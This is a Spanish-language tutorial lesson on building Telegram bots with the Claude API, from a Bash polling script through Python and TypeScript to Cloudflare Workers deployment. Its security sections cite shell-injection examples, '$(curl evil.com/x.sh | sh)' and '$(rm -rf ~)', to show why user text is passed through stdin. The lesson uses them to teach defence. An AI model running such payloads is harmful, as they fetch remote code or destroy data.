Biblioteca · Asistentes y bots de mensajería

bots de Telegram con la API de Claude, de cero a producción

Creador90 minActualizado: octubre de 2026
57 de 105 en la biblioteca

Tiempo: ~30 min de teoría + 60 min de práctica


Lo esencial

Un bot de Telegram (un programa automatizado) con Claude no es solo un chatbot. Es un empleado automático que atiende clientes a las 3 de la mañana, junta prospectos, genera contenido, transcribe notas de voz, y todo con un gasto pequeño en la API (cómo calcularlo, en la lección Cost Engineering). Lo escribes una vez y trabaja siempre.

En Latinoamérica es probable que tus clientes usen más WhatsApp que Telegram. Telegram es el lugar más sencillo para aprender: crear un bot es gratis e inmediato, sin aprobaciones. La misma lógica se lleva después a otros canales (ver la lección Gestores de chatbots).

🎨 Imagínalo así: un bot de Telegram es como la contestadora del teléfono de tu empresa. Solo que en lugar de "marque 1, marque 2" hay una conversación real con una IA que entiende qué quiere el cliente y reacciona con inteligencia. Y Claude es el cerebro que rentas por centavos.


Conceptos clave

  • BotFather: el bot oficial de Telegram para crear bots (gratis)
  • Polling vs Webhook (consulta periódica frente a aviso HTTP cuando ocurre un evento): dos formas de recibir mensajes (cada una para su situación)
  • python-telegram-bot / grammY: bibliotecas para Python y TypeScript
  • Historial del diálogo: cómo recuerda el bot el contexto de la conversación
  • Cloudflare Workers: despliegue en el plan gratuito: a octubre de 2026, hasta 100 000 solicitudes al día
  • Railway: despliegue con un servidor permanente en un plan de pago (los precios vigentes están en el sitio de Railway)

Teoría

Paso 0: crear el bot con BotFather

Abres Telegram, buscas @BotFather y escribes /newbot. Te va a preguntar:

  • El nombre del bot (por ejemplo: "My Assistant")
  • El username (debe terminar en "bot": my_assistant_bot)

A cambio recibes un token (la llave de autenticación):

Código
7234567890:AAH_abcXYZ123...

🎨 Imagínalo así: el token del bot es como la llave de la oficina. Quien la tiene puede entrar y hacer lo que quiera en nombre del bot. Cuídalo igual que la contraseña de tu banco.

Si el token se filtra, genera uno nuevo de inmediato: /revoke en BotFather.


Polling vs Webhook: cuál es la diferencia

🎨 Imagínalo así: el polling es como un mesero que cada 30 segundos va a la cocina a preguntar: "¿ya está?". El webhook es como una llamada de la cocina: "¡la comida está lista, ven por ella!". El primero es más sencillo; el segundo, más rápido y más barato.

Criterio Polling Webhook
Dificultad Mínima (5 min) Necesitas una URL HTTPS pública
Velocidad de respuesta Depende del intervalo de consulta Normalmente más rápido: el mensaje llega de inmediato
Carga en el servidor Mayor (solicitudes constantes) Menor (solo cuando hay un evento)
Para desarrollar Ideal Incómodo
Cloudflare Workers No se puede (serverless) Obligatorio
Para producción Hasta 20 usuarios Con cualquier carga

Regla: para desarrollar y para uso personal, polling. Para producción en Cloudflare Workers, solo webhook.


Opción A: script de Bash (30 líneas, funcionando en 5 minutos)

El arranque más rápido. Bash es el lenguaje de comandos de la terminal. Solo necesitas curl y jq. Sirve para uso personal.

bash
#!/usr/bin/env bash
set -euo pipefail

source ~/.config/telegram-bot.env

API="https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}"
OFFSET=0

# Función de envío (maneja el límite de 4096 caracteres)
send() {
  local chat="$1" text="$2"
  while [ -n "$text" ]; do
    local chunk="${text:0:4000}"
    text="${text:4000}"
    curl -s -X POST "${API}/sendMessage" \
      --data-urlencode "chat_id=${chat}" \
      --data-urlencode "text=${chunk}" > /dev/null
  done
}

handle_message() {
  local chat="$1" user_text="$2"

  # Solo usuarios permitidos
  if [ "$chat" != "$TELEGRAM_ALLOWED_CHAT_ID" ]; then
    return
  fi

  # ⚠️ Protección contra shell injection: stdin en lugar de argumento
  # Si user_text contiene `$(rm -rf ~)` o backticks, sin comillas
  # se ejecutaría como código. printf '%q' lo entrecomilla de forma segura, pero
  # es más confiable pasar el texto por stdin para que el shell ni lo interprete.
  local reply
  reply=$(printf '%s' "$user_text" | claude -p --model sonnet \
    --max-budget-usd 0.50 2>&1) || reply="Error: $reply"

  send "$chat" "$reply"
}

# ⚠️ Bucle de polling SIN subshell pipe
# La versión vieja `jq ... | while read` corría el while en un subshell:
# la variable OFFSET se actualizaba ahí, pero afuera seguía igual.
# La redirección con process substitution `< <(...)` deja el while
# en el shell actual: OFFSET se ve también en la siguiente iteración.
# curl --fail --max-time 30: cortamos conexiones colgadas, atrapamos HTTP 5xx.
while true; do
  UPDATES=$(curl -s --fail --max-time 35 \
    "${API}/getUpdates?offset=${OFFSET}&timeout=30") || {
    echo "Telegram API timeout/error, retrying in 5s..." >&2
    sleep 5
    continue
  }

  while read -r upd; do
    OFFSET=$(($(echo "$upd" | jq '.update_id') + 1))
    CHAT=$(echo "$upd" | jq '.message.chat.id')
    TEXT=$(echo "$upd" | jq -r '.message.text // empty')
    [ -n "$TEXT" ] && handle_message "$CHAT" "$TEXT"
  done < <(echo "$UPDATES" | jq -c '.result[]?')
done

⚠️ Recuadro de seguridad: por qué un bot de Bash es peligroso en un escenario público

🎨 Imagínalo así: este script es como la puerta de la cocina sin cerradura. Para tu familia (una lista blanca con un solo chat_id) está bien. Pero si abres la puerta a la calle, cualquier transeúnte puede entrar a la cocina con un cuchillo.

Riesgos concretos si quitas la lista blanca:

  • Shell injection: el usuario escribe $(curl evil.com/x.sh | sh). Sin pasar el texto por stdin (como arriba), bash lo ejecutaría como código.
  • Race condition en el polling: la versión vieja con | while read perdía el offset después de una caída → mensajes duplicados al reiniciar.
  • Sin rate limiting: un solo spammer se come todo tu presupuesto de Claude en 5 minutos.
  • Sin registro de auditoría: si algo se rompe, no sabrás quién escribió qué.

Regla: la versión de Bash es solo para uso personal con lista blanca. Para algo público, Python/TypeScript con rate limit, sandbox y registro.

El archivo de configuración ~/.config/telegram-bot.env:

bash
TELEGRAM_BOT_TOKEN=7234567890:AAH_tu_token
TELEGRAM_ALLOWED_CHAT_ID=123456789   # Tu chat_id (pregúntaselo a @userinfobot)
ANTHROPIC_API_KEY=sk-ant-...

Permisos (¡obligatorio!):

bash
chmod 600 ~/.config/telegram-bot.env
chmod +x bot.sh
./bot.sh

Opción B: Python + python-telegram-bot (recomendada)

Un bot completo con memoria del diálogo. Instalamos:

bash
pip install python-telegram-bot anthropic
python
import asyncio
import anthropic
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes
import os

claude = anthropic.Anthropic(api_key=os.environ["ANTHROPIC_API_KEY"])

# ⚠️ Memoria: un diccionario en memoria, SOLO para desarrollo y un solo proceso
#
# Problema: defaultdict(list) guarda una entrada por cada user_id nuevo para siempre.
# 10 000 usuarios × 20 mensajes × ~500 bytes = ~100 MB de RAM, y sigue creciendo.
# Al reiniciar el proceso se pierde todo el historial.
#
# Para producción: Redis / Cloudflare KV / Postgres con TTL.
# Abajo: desalojo LRU por tamaño (protección contra OOM en la versión en memoria).
from collections import OrderedDict

MAX_HISTORY = 20       # mensajes por usuario
MAX_USERS = 1000       # usuarios activos en memoria (LRU eviction)

class LRUConversations(OrderedDict):
    """Diccionario LRU: si se pasa de MAX_USERS, borra el más viejo."""
    def __getitem__(self, key):
        if key not in self:
            self[key] = []
        else:
            self.move_to_end(key)  # mark as recently used
        return super().__getitem__(key)

    def __setitem__(self, key, value):
        super().__setitem__(key, value)
        self.move_to_end(key)
        if len(self) > MAX_USERS:
            evicted_key, _ = self.popitem(last=False)  # drop oldest
            # En producción: registro + alerta "history evicted for user X"

conversation_history = LRUConversations()

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user = update.effective_user
    await update.message.reply_text(
        f"¡Hola, {user.first_name}! Soy un asistente de IA. Hazme cualquier pregunta."
    )

async def clear_history(update: Update, context: ContextTypes.DEFAULT_TYPE):
    conversation_history[update.effective_user.id].clear()
    await update.message.reply_text("Historial borrado.")

async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user_id = update.effective_user.id
    user_text = update.message.text
    
    # Mostramos "escribiendo..."
    await context.bot.send_chat_action(
        chat_id=update.effective_chat.id,
        action="typing"
    )
    
    # Lo agregamos al historial
    conversation_history[user_id].append({
        "role": "user",
        "content": user_text
    })
    
    # Lo recortamos si es demasiado largo
    if len(conversation_history[user_id]) > MAX_HISTORY:
        conversation_history[user_id] = conversation_history[user_id][-MAX_HISTORY:]
    
    # Solicitud a Claude
    response = claude.messages.create(
        model="claude-sonnet-5-5",
        max_tokens=2000,
        system="Eres un asistente de IA útil. Responde breve y al grano.",
        messages=conversation_history[user_id]
    )
    
    reply = "".join(b.text for b in response.content if b.type == "text")
    
    # Guardamos la respuesta
    conversation_history[user_id].append({
        "role": "assistant",
        "content": reply
    })
    
    # Límite de Telegram: 4096 caracteres
    if len(reply) > 4096:
        for i in range(0, len(reply), 4096):
            await update.message.reply_text(reply[i:i+4096])
    else:
        await update.message.reply_text(reply)

def main():
    app = Application.builder().token(os.environ["TELEGRAM_BOT_TOKEN"]).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(CommandHandler("clear", clear_history))
    app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
    print("Bot en marcha...")
    app.run_polling()

if __name__ == "__main__":
    main()

⚠️ Recuadro de seguridad: si pasas el bot de Python a webhook

🎨 Imagínalo así: un webhook sin revisar el secreto es como un buzón sin cerradura en la puerta de la casa. Cualquiera con internet puede echar una carta haciéndose pasar por Telegram, y el bot la ejecuta.

Al pasar de run_polling() a webhook (por ejemplo con FastAPI o app.run_webhook()), revisa sin falta el encabezado X-Telegram-Bot-Api-Secret-Token: es lo que pasaste en setWebhook como secret_token. Sin esa revisión, un atacante puede mandar updates falsos a tu URL pública.

python
from fastapi import FastAPI, Request, HTTPException
import os

WEBHOOK_SECRET = os.environ["WEBHOOK_SECRET"]
api = FastAPI()

@api.post("/webhook")
async def webhook(request: Request):
    # ⚠️ La revisión va en la PRIMERA línea, antes de procesar el body
    secret = request.headers.get("X-Telegram-Bot-Api-Secret-Token")
    if secret != WEBHOOK_SECRET:
        raise HTTPException(status_code=401, detail="Unauthorized")

    update = Update.de_json(await request.json(), app.bot)
    await app.process_update(update)
    return {"ok": True}

Es el espejo de la revisión en la versión de TypeScript para Cloudflare Workers (las líneas request.headers.get("X-Telegram-Bot-Api-Secret-Token") más abajo).


Opción C: TypeScript + grammY con streaming (avanzada)

La respuesta aparece poco a poco, como en Claude.ai. El usuario ve el texto conforme se genera:

typescript
import "dotenv/config";
import { Bot } from "grammy";
import Anthropic from "@anthropic-ai/sdk";

const bot = new Bot(process.env.TELEGRAM_BOT_TOKEN!);
const claude = new Anthropic();

// ⚠️ Historial de diálogos: un Map en memoria, SOLO para desarrollo
//
// Problema: Map<number, ...> guarda una entrada por cada user_id para siempre.
// Con 10k usuarios el proceso se come toda la RAM y se cae (OOM).
// Al reiniciar se pierde todo el historial (no es persistente).
//
// Para producción usa Redis o Cloudflare KV con TTL:
//   await env.KV.put(`chat:${userId}`, JSON.stringify(history),
//                    { expirationTtl: 60 * 60 * 24 * 7 }); // 7 días
//
// Abajo: desalojo LRU por tamaño (protección contra OOM en un solo proceso).
const MAX_USERS = 1000;
const conversations = new Map<number, Array<{role: string, content: string}>>();

function getHistory(userId: number): Array<{role: string, content: string}> {
  if (conversations.has(userId)) {
    // LRU touch: lo quitamos y lo regresamos al final (Map conserva el orden de inserción)
    const h = conversations.get(userId)!;
    conversations.delete(userId);
    conversations.set(userId, h);
    return h;
  }
  // Desalojamos el más viejo si se llena
  if (conversations.size >= MAX_USERS) {
    const oldestKey = conversations.keys().next().value;
    if (oldestKey !== undefined) conversations.delete(oldestKey);
  }
  const fresh: Array<{role: string, content: string}> = [];
  conversations.set(userId, fresh);
  return fresh;
}

bot.on("message:text", async (ctx) => {
  const userId = ctx.from.id;
  const userText = ctx.message.text;
  
  const history = getHistory(userId);  // LRU-touch + lo crea si no existe
  history.push({ role: "user", content: userText });
  
  // Mensaje provisional
  const placeholder = await ctx.reply("...");
  
  let buffer = "";
  let lastEdit = Date.now();
  
  // Streaming desde Claude
  const stream = claude.messages.stream({
    model: "claude-sonnet-5-5",
    max_tokens: 2000,
    system: "Eres un asistente de IA útil. Responde en español.",
    messages: history as any,
  });
  
  for await (const chunk of stream) {
    if (chunk.type === "content_block_delta" && 
        chunk.delta.type === "text_delta") {
      buffer += chunk.delta.text;
      
      // Actualizamos cada 800 ms (límite de la API de Telegram)
      if (Date.now() - lastEdit > 800 && buffer.length > 20) {
        try {
          await ctx.api.editMessageText(
            ctx.chat.id, placeholder.message_id, buffer.slice(0, 4000)
          );
          lastEdit = Date.now();
        } catch (e) { /* el mensaje no cambió */ }
      }
    }
  }
  
  // Actualización final
  await ctx.api.editMessageText(ctx.chat.id, placeholder.message_id, buffer.slice(0, 4000));
  
  history.push({ role: "assistant", content: buffer });
  if (history.length > 20) conversations.set(userId, history.slice(-20));
});

bot.command("clear", async (ctx) => {
  conversations.delete(ctx.from.id);
  await ctx.reply("Historial borrado.");
});

bot.start();

Notas de voz: transcripción con Whisper

🎨 Imagínalo así: una nota de voz en Telegram es como un recado grabado. Whisper es el traductor que convierte el audio otra vez en texto. Y Claude es quien lo lee y responde.

Telegram manda la voz en formato OGG/Opus. Hay que: descargar → transcribir → mandar a Claude.

python
import io
import openai
import aiohttp
from telegram.ext import MessageHandler, filters

openai_client = openai.AsyncOpenAI(api_key=os.environ["OPENAI_API_KEY"])

async def handle_voice(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await context.bot.send_chat_action(update.effective_chat.id, "typing")
    
    # Paso 1: descargamos el archivo OGG
    file = await context.bot.get_file(update.message.voice.file_id)
    async with aiohttp.ClientSession() as session:
        async with session.get(file.file_path) as resp:
            audio_bytes = await resp.read()
    
    # Paso 2: transcribimos con Whisper
    audio_file = io.BytesIO(audio_bytes)
    audio_file.name = "voice.ogg"
    
    # el nombre del modelo de reconocimiento es un ejemplo: revisa los modelos vigentes en la documentación de OpenAI
    transcription = await openai_client.audio.transcriptions.create(
        model="whisper-1",
        file=audio_file,
        language="es"
    )
    
    transcript = transcription.text
    
    # Paso 3: mostramos lo que reconocimos
    await update.message.reply_text(f"🎙️ Entendí: _{transcript}_", parse_mode="Markdown")
    
    # Paso 4: se lo pasamos a Claude
    response = claude.messages.create(
        model="claude-sonnet-5-5",
        max_tokens=1000,
        messages=[{"role": "user", "content": transcript}]
    )
    await update.message.reply_text("".join(b.text for b in response.content if b.type == "text"))

app.add_handler(MessageHandler(filters.VOICE, handle_voice))

Botones inline: menús y modos

python
from telegram import InlineKeyboardButton, InlineKeyboardMarkup

async def show_menu(update: Update, context: ContextTypes.DEFAULT_TYPE):
    keyboard = [
        [
            InlineKeyboardButton("📝 Escribir un post", callback_data="mode_content"),
            InlineKeyboardButton("📊 Analítica", callback_data="mode_analytics"),
        ],
        [InlineKeyboardButton("🗑️ Borrar historial", callback_data="clear_history")],
    ]
    await update.message.reply_text(
        "Elige un modo:", reply_markup=InlineKeyboardMarkup(keyboard)
    )

async def handle_callback(update: Update, context: ContextTypes.DEFAULT_TYPE):
    query = update.callback_query
    await query.answer()  # OBLIGATORIO: quita el "relojito" del botón
    
    if query.data == "mode_content":
        context.user_data["mode"] = "content"
        await query.edit_message_text("Modo: asistente de contenido. Escribe el tema 👇")
    elif query.data == "clear_history":
        conversation_history[query.from_user.id].clear()
        await query.answer("¡Historial borrado!", show_alert=True)

from telegram.ext import CallbackQueryHandler
app.add_handler(CallbackQueryHandler(handle_callback))

Despliegue: Cloudflare Workers (gratis, webhook)

🎨 Imagínalo así: Cloudflare Workers es como tener un buzón en cada esquina del mundo. El mensaje de Telegram llega al servidor más cercano al usuario (cientos de ubicaciones en el mundo). El retraso es mínimo, y en el plan gratuito de Workers (ver arriba) no pagas nada por eso.

bash
# Instalación
npm install -g wrangler
wrangler login

# Proyecto nuevo
mkdir my-telegram-bot && cd my-telegram-bot
npm install grammy @anthropic-ai/sdk

# Secretos (¡no en el código!)
wrangler secret put BOT_TOKEN
wrangler secret put ANTHROPIC_API_KEY
wrangler secret put WEBHOOK_SECRET

wrangler.toml:

toml
name = "my-telegram-bot"
main = "src/index.ts"
compatibility_date = "2026-10-01"  # pon la fecha vigente cuando crees el proyecto

src/index.ts:

typescript
import { Bot, webhookCallback } from "grammy";
import Anthropic from "@anthropic-ai/sdk";

export interface Env {
  BOT_TOKEN: string;
  ANTHROPIC_API_KEY: string;
  WEBHOOK_SECRET: string;
}

export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    // Revisión del secret_token
    const secret = request.headers.get("X-Telegram-Bot-Api-Secret-Token");
    if (secret !== env.WEBHOOK_SECRET) {
      return new Response("Unauthorized", { status: 401 });
    }
    
    const bot = new Bot(env.BOT_TOKEN);
    const claude = new Anthropic({ apiKey: env.ANTHROPIC_API_KEY });
    
    bot.on("message:text", async (ctx) => {
      const response = await claude.messages.create({
        model: "claude-haiku-4-5",  // Haiku: ahorro en Workers
        max_tokens: 1024,
        messages: [{ role: "user", content: ctx.message.text }],
      });
      await ctx.reply(response.content.map((b) => (b.type === "text" ? b.text : "")).join("") as string);
    });
    
    return webhookCallback(bot, "cloudflare-mod")(request);
  },
};

Despliegue y registro del webhook:

bash
# Despliegue
wrangler deploy
# Salida: https://my-telegram-bot.YOUR-USERNAME.workers.dev

# Registro del webhook (una sola vez)
curl "https://api.telegram.org/bot<BOT_TOKEN>/setWebhook" \
  -d "url=https://my-telegram-bot.YOUR-USERNAME.workers.dev" \
  -d "secret_token=<WEBHOOK_SECRET>"

Despliegue: Railway (plan de pago, polling sencillo)

Los planes y precios vigentes de Railway están en su sitio.

bash
# Estructura del proyecto
my-bot/
├── bot.py
├── requirements.txt   # python-telegram-bot y anthropic (usa las versiones vigentes)
└── Procfile           # web: python bot.py

# Despliegue
git init && git add . && git commit -m "initial"
# → Railway.com → New Project → Deploy from GitHub
# Agregar las variables: TELEGRAM_BOT_TOKEN, ANTHROPIC_API_KEY

Seguridad (obligatorio)

1. Nunca escribas el token dentro del código:

python
# ❌ PROHIBIDO
bot = Bot(token="7234567890:AAH...")

# ✅ CORRECTO
bot = Bot(token=os.environ["TELEGRAM_BOT_TOKEN"])

2. Lista blanca de usuarios:

python
ALLOWED_USERS = {123456789}  # Tus chat_id

async def check_access(update: Update) -> bool:
    if update.effective_user.id not in ALLOWED_USERS:
        await update.message.reply_text("Sin acceso.")
        return False
    return True

3. Rate limiting:

python
from collections import defaultdict
from datetime import datetime, timedelta

requests = defaultdict(list)

def check_rate_limit(user_id: int, max_req=5, window_sec=60) -> bool:
    now = datetime.now()
    cutoff = now - timedelta(seconds=window_sec)
    requests[user_id] = [ts for ts in requests[user_id] if ts > cutoff]
    if len(requests[user_id]) >= max_req:
        return False
    requests[user_id].append(now)
    return True

Límites de la API de Telegram (interfaz de programación):

Tipo Límite
Mensajes en total (envíos masivos) unos 30/seg por bot
Mensajes a un mismo chat no más de 1/seg
Mensajes a un grupo no más de 20/min
Longitud del mensaje 4096 caracteres
Archivo que el bot envía hasta 50 MB
Archivo que el bot descarga hasta 20 MB

Casos de uso reales

Bot de atención al cliente:

python
SUPPORT_PROMPT = """Eres agente de soporte de la empresa Acme Realty.
Ayudas a clientes hispanohablantes a encontrar propiedades en Ecuador.
Si preguntan por precios, pregunta su presupuesto y preferencias.
Si hay una queja, discúlpate y pide un dato de contacto.
Si no sabes algo, dilo con honestidad y ofrece contactar a un asesor."""

Embudo de captación de prospectos:

Código
Presionó un botón → eligió su interés (comprar/rentar)
→ escribió su presupuesto → dejó su contacto
→ el asesor recibió el prospecto en un chat aparte

Asistente de contenido:

python
MODES = {
    "telegram": "Post para Telegram, máx. 800 caracteres, 3-5 emojis",
    "instagram": "Instagram con 10-15 hashtags al final",
    "blog": "Artículo de al menos 800 palabras con subtítulos",
}

Práctica

  1. Crea un bot con BotFather y consigue el token
  2. Averigua tu chat_id con @userinfobot
  3. Arranca el script de Bash con Claude CLI (la interfaz de línea de comandos) y mándale al bot tu primer mensaje
  4. Reescríbelo en Python con historial de diálogo
  5. Agrega el comando /clear para borrar el historial
  6. (opcional) Despliégalo en Railway o en Cloudflare Workers

Herramientas y recursos


Conclusiones clave

Un bot de Telegram con Claude = un asistente automático 24/7 con un gasto pequeño en la API. El script de Bash arranca en 5 minutos, la versión de Python agrega memoria del diálogo, y TypeScript+grammY es para producción.

Polling para desarrollar y para bots chicos (hasta 20 usuarios). El webhook es obligatorio en Cloudflare Workers y en bots con mucha carga.

El token es el secreto principal. Nunca en el código, siempre en variables de entorno. La lista blanca de usuarios es obligatoria en los bots privados.


Siguiente lección

→ Claude Code CLI: cuando la terminal es más potente que el IDE

La marca se guarda solo en este navegador y no se envía a ningún sitio. Mi progreso